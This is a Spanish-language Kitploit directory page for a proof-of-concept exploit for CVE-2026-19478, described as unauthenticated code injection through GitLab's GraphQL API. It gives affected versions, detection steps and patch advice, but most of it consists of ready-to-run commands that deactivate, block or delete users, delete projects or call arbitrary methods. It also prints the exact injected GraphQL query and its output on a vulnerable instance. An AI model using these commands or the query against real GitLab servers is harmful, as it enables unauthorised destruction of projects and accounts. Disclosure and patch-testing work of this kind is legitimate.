Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-19478-PoC — Exploit de prueba de concepto para la inyección remota de código sin autenticación en la API GraphQL de GitLab, mediante consultas diseñadas para modificar o eliminar proyectos y usuarios públicos. | Kitploit
Herramientas/GitHubGitHub/davkharrr/cve-2026-19478-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónSeguridad de APIs
GitHubdavkharrr/cve-2026-19478-poc

CVE-2026-19478-PoC

Exploit de prueba de concepto para la inyección remota de código sin autenticación en la API GraphQL de GitLab, mediante consultas diseñadas para modificar o eliminar proyectos y usuarios públicos.

Ver Repositorio
11512hace 22 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-19478 PoC

Inyección remota de código no autenticada en la capa GraphQL de GitLab que permite a un atacante modificar o eliminar proyectos públicos y datos de usuario con una única consulta manipulada. Sin autenticación, sin interacción del usuario, sin privilegios especiales.

Gravedad9.4 Crítica — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
CWECWE-94 (Control inadecuado de la generación de código / Inyección de código)
AfectadasGitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4
Corregidas18.11.11, 19.0.8, 19.1.6, 19.2.4
Divulgado2026-08-17
HackerOne3926431

TL;DR

root@kitploit:~
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project

# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

El exploit es una inyección de código mediante campo de reserva: un nombre de campo elegido por el atacante en una consulta GraphQL se convierte en una llamada arbitraria a public_send sobre el modelo ActiveRecord subyacente (Project, User, ...). Debido a que el campo de reserva solo se crea cuando la consulta también incluye una directiva "futura" @gl_introduced, la directiva es la primitiva de inyección.


Versiones afectadas

SerieAfectadasCorregidas
18.x>= 18.2, < 18.11.1118.11.11
19.0< 19.0.819.0.8
19.1< 19.1.619.1.6
19.2< 19.2.419.2.4

El script realiza una detección de versión de mejor esfuerzo (/api/v4/version con un token, /help, /users/sign_in) e informa si el objetivo se encuentra dentro de los rangos afectados.


Detección

  • Comprobación de versión: cualquier GitLab en los rangos afectados es vulnerable.
  • Comprobación de comportamiento (segura): envía el payload benigno touch anterior. Una instancia vulnerable devuelve "touch": true; una instancia parcheada devuelve Field 'touch' doesn't exist on type 'Project'.
  • Comprobación de esquema: una instancia vulnerable expone la directiva gl_introduced en el esquema GraphQL (introspección de /api/graphql). Las instancias parcheadas pueden seguir exponiéndola, por lo que la comprobación de comportamiento es la autoritativa.

Uso

root@kitploit:~
python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
               [--mode check|modify|destroy|delete|custom]
               [--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
OpciónDescripción
--urlURL base de GitLab, p. ej. https://gitlab.example.com
--projectRuta completa de un proyecto público, p. ej. group/subgroup/project
--userNombre de usuario de un usuario público, p. ej. alice
--modecheck (por defecto, touch benigno) · modify (usuario: deactivate, proyecto: touch) · destroy · delete · custom
--methodNombre del método para --mode custom (debe ser un nombre GraphQL válido)
--tokenToken PRIVATE-TOKEN opcional de GitLab (detección de versión / autenticación)
--versionOmitir la detección, forzar una cadena de versión
--insecureDeshabilitar la verificación del certificado TLS

Los modos destructivos (modify, destroy, delete) requieren una confirmación interactiva yes.

Ejemplos

root@kitploit:~
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project

# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify

# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block

# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm

# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate

# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete

# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
               --mode custom --method reload

# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
               --token <PRIVATE-TOKEN> --insecure

Salida esperada

Instancia vulnerable

root@kitploit:~
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy

[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
    Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
  project(fullPath: "group/public-project") {
    name
    destroy @gl_introduced(version: "999.0.0")
  }
}

[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.

Instancia parcheada

root@kitploit:~
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).

La respuesta de la instancia parcheada es un error de validación GraphQL normal:

root@kitploit:~
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }

Padre no resoluble

root@kitploit:~
[!] Parent object is null -> project/user not found or not visible.
    (For projects, use the full path, e.g. group/subgroup/project)

El objetivo debe ser público (visibilidad del proyecto Public, o un usuario cuyo perfil sea resoluble públicamente a través de GraphQL). Si el padre es null, el método nunca se invoca.


Mitigación

  • Actualice a GitLab 18.11.11, 19.0.8, 19.1.6 o 19.2.4 (o versiones posteriores).
  • Hasta que se aplique el parche: restrinja el acceso de red a /api/graphql, o desactive la función de filtrado por versión @gl_introduced si no es necesaria.

Referencias

  • https://nvd.nist.gov/vuln/detail/CVE-2026-19478
  • https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-2-4-released/
  • https://gitlab.com/gitlab-org/gitlab/-/work_items/611377
  • https://hackerone.com/reports/3926431
  • Commit de corrección: e283c6ad "Prevent calling object method when resolving fallback field"

Este PoC se proporciona únicamente para investigación de seguridad defensiva y pruebas autorizadas. No lo ejecute contra sistemas que no le pertenezcan o para los que no tenga permiso explícito.

Descargar herramienta